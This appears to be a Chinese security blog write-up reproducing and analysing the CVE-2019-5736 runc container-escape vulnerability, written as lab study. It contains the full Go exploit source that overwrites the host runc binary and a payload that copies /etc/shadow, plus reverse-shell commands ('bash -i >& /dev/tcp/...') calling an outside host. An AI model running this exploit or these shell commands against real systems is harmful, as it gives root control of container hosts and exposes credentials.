CVE-2019-5736容器逃逸漏洞复现及分析

admin 2020年9月28日14:00:28评论883 views字数 5819阅读19分23秒阅读模式

CVE-2019-5736漏洞复现

背景

近期结合实际需要,对Docker容器相关的安全漏洞进行了收集,目前公开的Docker漏洞利用代码,较为有限,其中CVE-2019-5736造成后果较大,且相关利用代码能够较为方便的找到,撰写本文的目的主要是对复现该漏洞的过程进行记录,并从利用代码的角度分析利用该漏洞的基本思路,仅限于技术讨论,请不要用于attack。

漏洞环境搭建

环境信息

  1. Hyper-V 管理器10.0.18362.1

  2. Ubuntu 18.04 LTS:在Hyper-V中安装,以虚拟机模式运行

在Linux系统上构建符合漏洞触发需求的Docker环境

apt-get install apt-transport-https ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"apt-get updateapt-get update --fix-missingcurl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

通过运行上述命令可以在宿主机 Ubuntu18.04LTS 上安装并配置存在漏洞的 docker 并将相应镜像 ubuntu imagedocker hub 处拉取并安装,执行后可以使用 docker 命令查看版本及容器信息。

docker versiondocker container ls -adocker info

CVE-2019-5736容器逃逸漏洞复现及分析

查看Docker版本是否符合要求

docker -vdocker-runc -v

执行效果如下:

CVE-2019-5736容器逃逸漏洞复现及分析


漏洞利用

访问 https://github.com/Frichetten/CVE-2019-5736-PoC 下载漏洞利用代码,修改 payload 变量为 #!/bin/bash n bash -i >& /dev/tcp/10.43.70.53/1234 0>&1 ,保存退出后并执行如下命令,编译漏洞利用代码(我也是用Docker搭了一个环境后编译的):

vim main.goCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

命令执行效果如下:

CVE-2019-5736容器逃逸漏洞复现及分析

将通过 go 编译生成的 main 程序拷贝到容器中,命令如下:

docker container ls -adocker cp ./main 8186:/homedocker start -i 8186

8186 实际上对应于容器的 ID 信息,此处简写是因为我们只有这一个容器,能确保唯一索引到对应容器即可。进入容器后,使用 ls-l/home/main 可发现相关文件已经被拷贝到容器内,等待运行。

CVE-2019-5736容器逃逸漏洞复现及分析


使用nc启动listen监听

nc -lvp 1234


开启一个容器,并在容器内启用之前编译好的main程序

chmod 777 main./main

CVE-2019-5736容器逃逸漏洞复现及分析漏洞利用程序提示其已将 /bin/sh 解析器覆写成功

使用docker exec命令执行已启动容器中的/bin/sh

由于在上一步骤漏洞利用程序已将 /bin/sh 解析器覆写成功,因此再启动该 /bin/sh 会执行漏洞利用程序的代码逻辑,此时之前运行的 main 程序回显出现变化:

CVE-2019-5736容器逃逸漏洞复现及分析

此时, nc 处的回显如下, shell 反弹成功,可执行容器所在宿主机Ubuntu的命令,由于之前以 root 权限启用容器,逃逸后对宿主机危害较大:

CVE-2019-5736容器逃逸漏洞复现及分析

另外需要说明的是:该漏洞代码会对 runc造成破坏,进而导致利用后 docker 崩溃,建议在虚拟机内进行操作,并进行快照备份。


漏洞利用代码分析

利用代码

package mainimport (    "fmt"    "io/ioutil"    "os"    "strconv"    "strings")var payload = "#!/bin/bash n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"func main() {    fd, err := os.Create("/bin/sh")    if err != nil {        fmt.Println(err)        return    }    fmt.Fprintln(fd, "#!/proc/self/exe")    err = fd.Close()    if err != nil {        fmt.Println(err)        return    }    fmt.Println("[+] Overwritten /bin/sh successfully")    var found int    for found == 0 {        pids, err := ioutil.ReadDir("/proc")        if err != nil {            fmt.Println(err)            return        }        for _, f := range pids {            fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")            fstring := string(fbytes)            if strings.Contains(fstring, "runc") {                fmt.Println("[+] Found the PID:", f.Name())                found, err = strconv.Atoi(f.Name())                if err != nil {                    fmt.Println(err)                    return                }            }        }    }        var handleFd = -1    for handleFd == -1 {        handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)        if int(handle.Fd()) > 0 {            handleFd = int(handle.Fd())        }    }    fmt.Println("[+] Successfully got the file handle")        for {        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)        if int(writeHandle.Fd()) > 0 {            fmt.Println("[+] Successfully got write handle", writeHandle)            writeHandle.Write([]byte(payload))            return        }    }
}

利用代码基本原理

目标文件是 /bin/sh,用可执行脚本替换为指定的解释器路径 #!/proc/self/exe,以在通过容器中行 /bin/sh时执行 /proc/self/exe。利用程序指向主机上的 runc 文件。攻击者可以继续写入 /proc/self/exe以尝试覆盖主机上的 runc 文件。但一般来说,它不会成功,因为内核不允许在运行 runc 时覆盖它,要解决这个问题,攻击者可以使用 O_PATH标志打开一个 /proc/self/exe 的文件描述符,然后使用 O_WRONLY 标志用 /proc/self/fd/ 重新打开文件自己打开的描述符并尝试用该文件描述符写入 runc 文件。当 runc 退出时,覆盖将成功,之后 runc 可用于攻击其他容器或主机。

bash反弹shell原理介绍

攻击者无法直接连接受害者的情况下进行,由受害者攻击者发起链接,被控端发起请求到控制端某个端口,并将该命令行的输入输出转到控制端,以便实现控制端被控端的交互。

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1# 将上述命令拆开bash -i  #启动一个交互式命令行
#/dev/tcp/是Linux一个特殊设备,打开该设备相当于发起了一个socket调用以建立一个socket连接,读写这个文件相当于在该socket连接中传输数据。/dev/tcp/192.168.25.144/8888

标准输入(stdin):代码为 0,使用 <<< ,默认设备为键盘

标准输出(stdout):代码为 1, 使用 >>> ,默认设备为显示器

标准错误输出(stderr):代码为 2, 使用 2>2>> ,默认设备为显示器

&>是一种特殊的用法,也可以写成 >&,二者的意思完全相同,都等价于:

  1. 2>&1 #&>或>&被视作整体,分开无单独含义

>&word 语法中,当word不是数字或 - 字符时 >& 表示将 标准错误输出合并到标准输出中,而 0>&1相当于把标准输入拷贝到标准输出处。

该利用代码需要导入的包

  • fmt:格式化输出,打印控制台字符串相关的作用, Fprintln , Println 这些方法都是 fmt 包所提供;

  • io/ioutil:ioutil实现了一些I/O相关的功能, ReadAll , ReadFile , WriteFile , ReadDir 等方法都是由该包提供的;

  • os:用来针对用户所用的操作系统进行相关操作的包;

  • strconv:实现了基本数据类型和其字符串表示的相互转换;

  • strings:提供字符串相关的方法与功能。

关键代码分析1:覆写/bin/sh为/proc/self/exe

  1. fd, err := os.Create("/bin/sh")

  2. if err != nil {

  3. fmt.Println(err)

  4. return

  5. }

  6. fmt.Fprintln(fd, "#!/proc/self/exe")

  7. err = fd.Close()

  8. if err != nil {

  9. fmt.Println(err)

  10. return

  11. }

  12. fmt.Println("[+] Overwritten /bin/sh successfully")

  1. os.Create("/bin/sh")代表的是创建 /bin/sh 文件,如果文件已存在则会将现有的 /bin/sh 文件清空;

  2. fd 变量为文件指针,将其内容写为 #!/proc/self/exe ,实际上就是把 /bin/sh 文件的内容替代为 #!/proc/self/exe ,我的理解是使用 /proc/self/exe 符号链接指向的程序解析相关命令,实质上 /proc/self/exe 符号链接指向的就是这段 go 语言程序。

  3. 如果无任何报错,则输出 [+]Overwritten/bin/sh successfully 即可。

查看一下 /proc/self/exe到底是个啥:一个符号链接,指向当前调用的程序 ls的绝对路径。

  1. ls -l /proc/self/exe

关键代码分析2:枚举/proc下的内容并查找名包含 runc 的进程

  1. for _, f := range pids {

  2. fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")

  3. fstring := string(fbytes)

  4. if strings.Contains(fstring, "runc") {

  5. fmt.Println("[+] Found the PID:", f.Name())

  6. found, err = strconv.Atoi(f.Name())

  7. if err != nil {

  8. fmt.Println(err)

  9. return

  10. }

  11. }

  12. }

cmdline 中的内容,就是启动进程的命令行命令,如果其中包含 runc 字段,则说明系统有运行着 runc 这一包含漏洞的程序,获取该程序对应的 PID 进程号,并通过 Atoi 将字符串转为数值类型。

关键代码分析3:利用已经被查询到的PID信息,找到相应的exe文件描述符并打开

var handleFd = -1for handleFd == -1 {    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)    if int(handle.Fd()) > 0 {        handleFd = int(handle.Fd())    }}fmt.Println("[+] Successfully got the file handle")

在漏洞利用代码中,很显然是为了找到 runc 程序对应的程序位置,且以只读方式打开,权限位为 0777 ,与 unix 系统权限对应, handle.Fd() 返回与文件f对应的整数类型的Unix文件描述符。就像我们下面看到的 /proc/$PID/exe 通过符号链接指向程序的启动位置:

CVE-2019-5736容器逃逸漏洞复现及分析

关键代码分析4:找到要写入的文件描述符并写入Payload攻击语句

for {        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)        if int(writeHandle.Fd()) > 0 {            fmt.Println("[+] Successfully got write handle", writeHandle)            writeHandle.Write([]byte(payload))            return        }}

这段代码是没有跳出条件的 for 循环,也可以理解为死循环。

writeHandle,_:=os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd),os.O_WRONLY|os.O_TRUNC,0700) 会打开 /proc/self/fd/中对应的文件描述符编号。为什么是使用 proc/self 文件夹下的内容,原因该 go 程序之前有使用 handle,_:=os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe",os.O_RDONLY,0777) 语句打开一个文件描述符,这个文件描述符正好属于该 go 程序,对应的写入文件应当是 runc 进程的全路径。自然而然 writeHandle.Write([]byte(payload)) 就能把相关攻击语句发送至 runc 程序了。如果写入成功,则程序结束。


后记

本文从代码和配置漏洞环境的角度分析了CVE-2019-5736容器逃逸漏洞,美中不足的是,本文仅提供了攻击角度,后续希望通过从 runc 源代码分析脆弱点产生原因,有相关进展一定第一时间分享,还请大家多多指导!

喜欢就请关注我们吧!

CVE-2019-5736容器逃逸漏洞复现及分析




  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月28日14:00:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2019-5736容器逃逸漏洞复现及分析http://cn-sec.com/archives/145313.html

发表评论

匿名网友 填写信息